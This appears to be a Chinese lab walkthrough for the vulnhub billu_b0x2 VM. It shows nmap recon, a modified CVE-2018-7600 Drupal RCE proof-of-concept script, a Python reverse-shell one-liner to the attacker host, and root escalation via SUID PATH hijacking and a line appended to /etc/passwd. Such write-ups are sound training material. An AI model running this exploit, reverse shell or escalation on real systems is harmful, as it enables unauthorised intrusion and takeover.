当前位置: 首页 > news >正文

vulnhub靶场【billu系列】之billu_b0x2靶机

前言

靶机:billu_b0x2靶机,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/c524477461b0

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.10 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.10 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.10 -p $ports --min-rate=1000 -oA detail

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.10 -p $ports -oA vuln

网站信息探测

访问80端口界面,可以看到有搜索框,以及登录的

向下可以看到涉及到一个cms,为``drupal`,缅怀艾斯【火拳】

使用whatweb或者浏览器插件wappalyzer识别配置

whatweb http://192.168.10.10 -v

使用gobuster等工具进行爆破,发现就那么几个

gobuster dir -u http://192.168.10.10 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

把这些目录都访问,没发现什么关键信息,并且访问robots.txt文件,虽然有很多目录,但是访问后,并没效果

在访问到登录的界面时,发现有一个默认的用户名biLLu和密码hEx_it

以上面的用户名和密码尝试访问8080端口的界面,并尝试登录,发现并不行

没有了,信息结合一下。

网站采用drupal 8版本

目前,只有字典继续爆破,采用大字典,或者搜索有无历史漏洞

漏洞寻找及确定

使用searchsploit尝试搜索

searchsploit drupal 8.0

发现大部分都是msf的脚本,不过还是有三个不一样的,这里一个个测试,先测试44448.py

查看这个代码,发现关键信息,这个脚本是检测目标是否有cve-2018-7600漏洞的

下面发现关键代码,若存在会输出一个文件

执行脚本进行检测靶机,发现输出检测了,访问这个文件,确定有漏洞

漏洞利用

既然如此,可以修改这个脚本去执行一些命令。ok,现在修改payload,在原基础上,只改动了一点,接收命令

#!/usr/bin/env
import sys
import requests
import json

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')
command = input('Enter command (example: id):') 

proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': command}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
res = r.text

json_text=json.dumps(res,indent=4)
print(json_text)

那么构造一个反弹shell的命令,执行即可,测试多个命令,最终以python的反弹shell成功

export RHOST="192.168.10.6";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

可以看到成功获取到shell了,当然前面需要进行nc监听就没说

提权

再使用python加一层shell

python -c 'import pty;pty.spawn("/bin/bash")'

使用find寻找具有SUID权限的文件,发现一个陌生的明显的文件

find / -perm -4000 -print 2>/dev/null

使用file查看,发现是二进制可执行文件,并且该文件具有执行的权限

测试,发现靶机具有strings工具,那么直接查看这个文件,发现一些东西

这里可以自己执行文件测试一下,发现最后是有字符starting copy of root user files出现的。说明后面的命令会执行,也就是scp,并且注意,这里没有搞绝对路径,所以可以借助环境变量提权

cd /tmp
echo $PATH

那么修改环境变量

export PATH=/tmp:$PATH
echo $PATH

echo "/bin/bash" > scp
chmod +x scp

然后执行脚本即可/opt/s

查看/etc/passwd的权限,发现该文件具有写权限的,那么就可以添加一个具有root权限的用户,需要构造

使用openssl生成密码

openssl passwd -salt 123 -1 123

#把x改为加密后的密码,root改为随便的用户名 
root:x:0:0:root:/root:/bin/bash

pig:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:test:/root:/bin/bash

echo 'pig:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:test:/root:/bin/bash' >> /etc/passwd

这时候直接切换就ok

当然还有其他的,比如查看内核版本,确定是否有内核漏洞,这个很大的概率是有的

uname -r
cat /etc/*release

使用searchsploit发现还是有不少的

这里就不测试了,还可以通过上传脚本去检测,就不一一测试了。

总结

该靶机主要考察点在于CVE-2018-7600的检测与使用,主要就是poc的构造,这里要清楚的知道

相关文章:

  • Cell子刊 IF48.8 | 绘制 949 种癌细胞蛋白质组全景图,AI 算法锁定千种潜在药物靶点
  • 【达梦数据库】用户权限
  • 【C++】C++构造函数与析构函数
  • 使用 Ollama 本地部署 DeepSeek 模型及 Chatbox 配置
  • poetry安装与使用
  • IoTDB日志提示Too many open files
  • 华为总部-华为东莞松山湖基地参观游学攻略
  • ragflow 默认端口被占用,更改端口号
  • C# MethodBase 类使用详解
  • 蓝桥每日打卡--区间移位
  • ReentranLock手写
  • Three.js中的加载器与资源管理:构建丰富3D场景的关键
  • 【 <二> 丹方改良:Spring 时代的 JavaWeb】之 Spring Boot 中的 RESTful API 设计:从上手到骨折
  • Oracle 常用语法汇总
  • Hinton提出的知识蒸馏(Knowledge Distillation,简称KD):原理解释和代码实现
  • LeetCode 解题思路 23(Hot 100)
  • 炫酷的3D按钮效果实现 - CSS3高级特性应用
  • 线性代数(期末周救济)--笔记1
  • 中文文献去哪里查找,个人下载知网、万方、维普文献途径
  • HFSS 使用指南 —— 新手项目完整实现步骤
  • 新疆多地市民拍到不明飞行物:几秒内加速消失,气象部门回应
  • 纪念|脖子上挂着红领巾的陈逸飞
  • 六省会共建交通枢纽集群,中部离经济“第五极”有多远?
  • 中国物流集团等10家央企11名领导人员职务任免
  • 丰富“互换通”产品类型,促进中国金融市场高水平对外开放
  • 远洋集团:今年前4个月销售80.9亿元,同比增加13.62%